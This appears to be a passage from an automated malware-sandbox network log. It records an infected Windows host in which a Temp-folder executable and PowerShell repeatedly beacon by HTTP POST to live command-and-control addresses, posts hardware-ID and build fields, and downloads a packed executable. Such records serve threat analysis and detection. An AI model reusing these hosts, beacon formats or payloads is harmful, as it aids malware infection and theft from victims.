00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 50 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+P8+`Ui` @ @.rsrc`2@.idata 8@prdxzixt`P:@jfbasxge +@.taggant@ +"@
Nov 30, 2024 22:55:36.820151091 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.820749998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.821069956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.821080923 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.821480036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.821664095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.821674109 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.822185040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.822428942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2024 22:55:36.940474033 CET	1236	IN	Data Raw: 5b 8c d8 5c 57 4e 9b 8f 30 2e e5 56 10 5d ad 73 79 fe 87 67 74 69 c1 58 f9 53 60 63 03 23 14 2d 16 78 8e 6a f4 58 a1 0e 3f 42 58 77 2f 55 a1 7d 74 7e 92 66 62 c1 9c 91 2a 6e 7c ea 68 4c 12 92 7a 7f b5 ba 31 6e 79 0a c8 5b cb ea 68 4c 12 00 7b 73 Data Ascii: [\WN0.V]sygtiXS`c#-xjX?BXw/U}t~fbn\|hLz1ny[hL{s=nm[5b3DLzwnb;p,?ujXZU;I6kGK{g39hR;y<-I!p;Bh-dbDzu~tuiOxb[8Q{v1J!5\H_R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	50067	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:36.606852055 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:55:37.939799070 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	50074	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:39.292165041 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 22:55:40.679419041 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:55:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 22:55:40.684606075 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 34 33 37 30 35 44 39 35 41 45 31 33 30 31 39 37 39 34 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 2d 2d 0d 0a Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="hwid"6943705D95AE1301979414------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="build"drum------HCFBFBAEBKJKEBGCAEHC--
Nov 30, 2024 22:55:41.139018059 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:55:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	50075	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:39.437680960 CET	185	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 32 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 34 32 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10001420101&unit=246122658369
Nov 30, 2024 22:55:40.790318012 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	50078	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:39.720056057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:41.099308968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	50088	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:42.561165094 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:43.938313007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	50090	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:43.212805986 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:55:44.595980883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	50098	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:45.964354992 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:55:47.272600889 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	50104	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:46.371381998 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:47.738450050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	50109	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:49.033329964 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:50.380527973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	50110	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:49.376112938 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:55:50.832324982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	50111	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:52.003403902 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:55:53.356652021 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	50112	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:52.840630054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:54.271365881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	50113	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:55.418030977 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:55:56.838675022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	50114	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:55.937386990 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:55:57.326812029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.9	50115	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:58.481921911 CET	306	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 38 35 41 46 35 46 34 33 33 46 39 35 46 30 35 44 31 45 33 35 36 31 37 44 39 33 41 43 35 36 43 44 35 46 32 46 32 34 31 43 34 43 31 37 30 34 31 45 36 39 41 43 42 42 41 44 38 33 34 30 38 45 38 32 34 44 41 36 43 36 36 38 42 39 44 30 34 32 30 38 36 45 41 38 35 42 31 32 32 44 38 38 34 38 36 35 31 32 34 38 33 33 31 44 34 43 32 42 45 32 32 45 34 34 41 33 42 44 41 36 30 37 33 36 46 41 31 33 44 41 32 43 34 36 32 42 46 35 36 32 34 39 30 34 32 37 35 42 42 43 Data Ascii: r=85AF5F433F95F05D1E35617D93AC56CD5F2F241C4C17041E69ACBBAD83408E824DA6C668B9D042086EA85B122D8848651248331D4C2BE22E44A3BDA60736FA13DA2C462BF5624904275BBC
Nov 30, 2024 22:55:59.781337023 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:55:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.9	50116	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:55:59.270411015 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:00.647691011 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.9	50117	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:01.734606981 CET	156	OUT	POST /Gd84kkjf/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 154.216.20.237 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 30, 2024 22:56:03.014236927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.9	50118	185.215.113.43	80	3848	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 22:56:02.288692951 CET	306	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 44 36 36 36 42 33 33 33 42 39 36 44 41 30 34 34 35 31 36 36 45 46 37 41 37 44 33 35 42 31 45 37 35 30 38 36 34 32 39 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FD666B333B96DA0445166EF7A7D35B1E750864299
Nov 30, 2024 22:56:03.727356911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 30 Nov 2024 21:56:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.9	50119	154.216.20.237	80	7148	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
